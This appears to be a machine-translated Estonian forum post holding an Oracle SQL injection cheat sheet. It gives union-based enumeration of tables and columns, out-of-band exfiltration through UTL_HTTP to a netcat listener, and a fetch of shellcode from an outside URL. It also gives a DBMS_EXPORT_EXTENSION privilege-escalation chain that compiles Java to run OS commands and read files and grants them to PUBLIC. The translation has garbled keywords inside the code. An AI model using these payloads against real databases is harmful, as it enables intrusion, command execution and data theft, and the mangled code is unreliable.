Seda postitust viimati redigeeris test 2015-1-24 kell 13:01
Kommentaar: -- Mitme lause täitmine ei ole toetatud ning föderaalsed päringud on toetatud Andmebaasi nimed, tabelite nimed ja veergude nimed on kõik suurtähtedega.
pikkus (väli) ascii(substr(väli, N, 1))
ja (vali loend (*) dualist)>0 -- Määra, kas see on oraakel või mitte
Tellimus n--
ja 1=2 union select null, null,.....,null dual-- asenda null N või 'N'-ga
ja 1=2 union select null, (SQL avaldus) ,.....,null duaalist -- muutu (sql-lauseks) juures 'N'
ja (vali count(*) all_objects hulgast, kus object_name='UTL_HTTP')>0 -- Määrake, kas UTL_HTTP on toetatud (ekspordi IP on teada)
ja UTL_HTTP.request('http://LocalIP:port'|| (SQL-väide)) =1-- Saata sõnumeid kaugelt kohalikule, kohalikule kuulamisele nc -vv -l -p 1234
SQL-laused Vali bänner sys.v_$versioonist, kus rownum=1, et pärida oraakli versiooni vali liige v$logfile'ist, kus rownum=1 Küsi logifaili teed (Windows või Linux) vali duaalist utl_inaddr.get_host_address, et pärida andmebaasi kuulamise IP-aadressi Vali instance_name v$instance'ist, et pärida sid'i vali nimi v$andmebaasist Küsi praegust andmebaasi nime kohta Vali sys_context ('userenv','current_user') kahe päringu andmebaasi kasutajate hulgast vali * session_roles kus rownum=1, et pärida praegusi kasutajaõigusi vali * session_roles kus rownum=1 [ja roll<>'esimene loa nimi']
vali table_name user_tables, kus rownum=1 Praeguse andmebaasi esimene tabelisegment vali table_name||','|| tablespace_name user_tables kus rownum=1 Esimene tabelisegment, andmebaas (kontrolliks ei pruugi see olla v$database) vali table_name user_tables hulgast, kus rownum=1 ja table_name<>'esimene tabelisegment' Praeguse andmebaasi teine tabelisegment
vali column_name user_tab_columns kus rownum=1 ja table_name='Tabeli segment' Esimene väli, mis vastab tabeli nimele vali column_name user_tab_columns, kus rownum=1 ja table_name='Tabeli segment' ning column_name<>'Esimene väli' Teine väli, mis vastab tabeli nimele
Vali väli tabeli segmendist, kus rownum=1 rikub esimese rea sisu Vali väli tabeli segmendist, kus rownum=1 ja väli <> 'esimene rea sisu' paljastab teise rea sisu
Ristteegid vali omanik all_tables hulgast, kus rownum=1 pärib esimese andmebaasi nime vali omanik all_tables, kus rownum=1 ja omanik<> 'Esimene andmebaasi nimi', et pärida teist andmebaasi nime
vali table_name all_tables, kus rownum=1 ja owner='andmebaasi nimi' Küsi vastava andmebaasi esimese tabeli nime Vali table_name all_tables-st, kus rownum=1 ja omanik='andmebaasi nimi' ning table_name<>'esimese tabeli nimi', et pärida vastava andmebaasi teise tabeli nime
vali column_name all_tab_columns hulgast, kus rownum=1 ja omanik='andmebaasi nimi' ning table_name='tabeli segment' Esimene väli, mis vastab tabeli nimele vali column_name all_tab_columns hulgast, kus rownum=1 ja omanik='andmebaasi nimi' ning table_name='tabeli segment' ja column_name<>'esimene väli' Teine väli, mis vastab tabeli nimele
Vali väli andmebaasist. tabeli segment, kus rownum=1 rikub esimese rea sisu Vali väli andmebaasist. Tabeli segment, kus rownum=1 ja väli <> 'Esimese rea sisu', rikub teise rea sisu
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); mitme lausega LÕPP; --','SYS',0,'1',0)--
Kui 'on põgenenud, kasutatakse chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| CHR(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| CHR(85)|| chr(84)|| chr(80)|| CHR(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| CHR(85)|| chr(84)|| CHR(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-avaldus || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Kui mitu lauset on liiga pikad, saad selle veebilehele kirjutada ja kasutada utl_http.request selle taastamiseks.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Loo JAVA pakett SecTest runCMD-d kasutatakse süsteemikäskude täitmiseks ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDETA PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KOHE KÄIVITAMIST'''loo või asenda ja kompileeri java lähtekoodi nimega "SecTest" importina java.io.*; public class SecTest laiendab Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream()))); String stemp,str=""; while((stemp=myReader.readLine()))!=null) str+=stemp+"\n"; myReader.close(); tagasijõu; }catch(Exception e){return e.toString(); }}}''''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--
readFile loetakse faili lugemiseks ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDETA PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KOHE KÄIVITAMIST'''loo või asenda ja kompileeri java lähtekoodi nimega "SecTest" importina java.io.*; public class SecTest laiendab Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine()))!=null) str+=stemp+"\n"; myReader.close(); tagasijõu; }catch(Exception e){return e.toString(); }}}''''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--
Anna Java õigused ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KÄIVITAMINE KOHE ''''alusta dbms_java.grant_permission(''''''''AVALIK'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<KÕIK FAILID>>'''''''',''''''''täideviimine''''''''); lõpp; ''''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--
Loo funktsioon SecRunCMD funktsioon ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KÄIVITA KOHE ''''loo või asenda funktsioon SecRunCMD(p_cmd varchar2-s) tagasta varchar2 kui keel java nimi''''''''SecTest.runCMD(java.lang.String) tagasta String'''''''' ; ''''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--
SecReadFile funktsioon ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KÄIVITA KOHE ''''loo või asenda funktsioon SecReadFile(failinimi varchar2-s) tagasta varchar2 keelena java nime''''''''SecTest.readFile(java.lang.String) tagasta string' '''''''; ''''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--
Anna luba avaliku funktsiooni täitmiseks SecRunCMD-le antakse õigused ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA VIIVITAMATUT TÄITMIST ''andke kõik SecRunCMD avalikkusele'''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--
SecReadFile ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA VIIVITAMATUT TÄITMIST ''''anna kõik SecReadFile avalikkusele'''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)--
Tuvastab, kas funktsioon loodi edukalt ja (vali count(*) all_objects-st, kus object_name='SECRUNCMD')>0-- ja (vali count(*) all_objects-st, kus object_name='SECREADFILE')>0--
Täida käsk ja '1'<> (valitud süsteemid. SecRunCMD ('Täida käsk') dualist)-- ja '1'<> (valitud süsteemid. SecReadFile('faili füüsiline aadress') dualist)-- või ja 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null dual-- ja 1=2 union select null,...,sys. SecReadFile('faili füüsiline aadress'),...,null dual-- või ja '1'<>(vali UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(SYS. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) dual)-- ja '1'<>(vali UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(SYS. SecReadFile('Faili füüsiline aadress'),' ',' ','\n',' ')) dual)--
Kustutamisfunktsioon ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KOHE KÄIVITAMIST ''''drop function SecRunCMD'''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)-- ja '1'<>'a'|| (vali SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES("'FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VIIVITAMATULT TÄIDE VIIVITAMATULT ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ALUSTA KÄIVITA KOHE ''''drop function SecReadFile''''; LÕPP; ''; LÕPP; --','SYS',0,'1',0) dualist)-- |